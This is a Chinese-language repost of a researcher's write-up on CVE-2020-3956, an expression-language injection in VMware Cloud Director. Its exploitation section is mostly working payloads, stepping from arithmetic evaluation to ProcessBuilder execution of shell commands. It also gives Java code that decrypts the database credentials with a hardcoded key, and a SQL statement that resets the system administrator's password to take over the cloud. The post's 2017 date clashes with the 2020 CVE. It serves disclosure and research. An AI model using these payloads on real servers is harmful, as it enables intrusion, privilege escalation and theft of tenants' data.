CVE-2020-3956漏洞POC

发布于 2017-02-09 17:26:56

漏洞概述

安全研究人员在对某财富500企业进行安全审计时,发现了一个影响VMware Cloud Director的代码注入安全漏洞。该漏洞CVE编号为CVE-2020-3956,CVSSV3评分为8.8分,漏洞严重等级为重要。

研究人员利用该代码注入漏洞,可以:

  • 查看内部系统数据库的内容,包括该基础设施上分配的所有账户的密码哈希;

  • 修改系统数据库来窃取Cloud Director内分配给其他不同组织的虚拟机的信息;

  • 从“Organization Administrator”权限提升到“System Administrator”来访问所有的云账户。

  • 修改Cloud Director的登陆页,攻击者可以获取其他账户的明文口令。

  • 读取与其他账户相关的敏感数据,包括姓名、邮箱地址和IP地址。

漏洞影响Cloud Director 10.0.0.2之前的10.0.x版本、9.7.0.5之前的9.7.0.x版本、9.5.0.6之前的9.5.0.x版本和9.1.0.4之前的9.1.0.x版本。

漏洞利用

表达式语言(EL)注入

当在vCloud Director的SMTP服务器的hostname处输入${7*7}时,会接收到如下错误消息:

String value has invalid format, value: [49]


表达式7*7的值为49。也就是说通过表达式语言注入可以在服务器端实现简单的算术运算。

远程代码执行

成功尝试后,就可以使用下面的payload来调用简单的java代码:

${'aaa'.getClass()} // class java.lang.String ${''.getClass().getResource('')} // jar:file:/opt/vmware/vcloud-director/lib/endorsed/org.apache.karaf.exception-2.2.9.jar!/java/lang/

研究人员首先尝试一个知名的EL注入 payload:

${java.lang.Runtime.getRuntime().exec('sleep 5').waitFor()}

首先第一步是访问任意类。java.lang.Stringjava.util.ArrayList都可以直接被表达式语言利用。研究人员使用了java函数forName(),第二个payload为:

${''.getClass().forName('java.util.Date')} // class java.util.Date

然后就可以访问任意java类。可以尝试调用以下方法:

${''.getClass().forName('java.lang.Runtime').getRuntime()}

发现是不允许的。可能的原因是表达式中被调用的方法有白名单/黑名单的过滤。那是否可以为类创建一些新的实例呢?

${''.getClass().forName('java.util.Date').newInstance()} // Thu Feb 20 12:21:48 UTC 2020

事实证明是可以的,此时就可以访问任意java类了,还可以在没有参数的情况下创建其实例。但要实现任意系统命令的执行仍然是不足的,需要一种新的方法来创建含有一些参数的类的实例,此处使用了方法getDeclaredConstructors():

${''.getClass().forName('java.util.Date').getDeclaredConstructors()[0]} // public java.util.Date()
${''.getClass().forName('java.util.Date').getDeclaredConstructors()[4].newInstance('Sat, 12 Aug 1995 13:30:00 GMT')} // Sat Aug 12 13:30:00 UTC 1995

然后就可以创建类的新实例,以实现系统命令执行:

${''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['sleep','5']).getInputStream().read()}

在提交了payload后,服务器会在5秒后响应。也就是说,成功执行了系统命令 sleep 5。从提交的系统命令中获得结果:


${''.getClass().forName('java.io.BufferedReader').getDeclaredConstructors()[1].newInstance(''.getClass().forName('java.io.InputStreamReader').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','id']).start().getInputStream())).readLine()}

这就是最终的payload:


访问外部云

研究人员的目标是获取外部云的控制权限。首先,研究人员确认了所有与vCloud相关的敏感数据都保存咋远程数据库中,数据库的凭证保存在以下文件中:

/opt/vmware/vcloud-director/etc/global.properties
/opt/vmware/vcloud-director/etc/responses.properties

但是其使用了vCloud Director源码中硬编码的密钥用AES算法加密了。研究人员反编译后发现,vCloud加密是用定制的类com.vmware.vcloud.common.crypto.EncryptionManager进行的,数据库的凭证可以用下面的java代码很容易地获取:

final IEncryption manager = EncryptionManager.getDefaultEncrypter();
out.println(manager.Decrypt("[encrypted password]"));

然后,就有了vCloud数据库的完全访问权限,就可以访问所有数据了。

其实获取所有云的最简单的方法应该是修改系统管理员的口令。研究人员在反编译的源码中发现,密码保存的形式为:

base64(sha512(password+salt))

所以可以通过下面的SQL查询来将系统管理员的口令来密码修改为Password123

UPDATE usr SET password='8nmlODAJ92cQdJCqasw8YXAU2Ix+ODa3rc+5fFhEeMFV+c9iDNys+OEFtKK/0CXjIS9OxKlYaPdrIITYAWL0Eh/PYLwrtI8d' WHERE username='administrator'

然后就可以以系统管理员身份登陆,并访问所有账户的数据了。


来源:https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/


6 条评论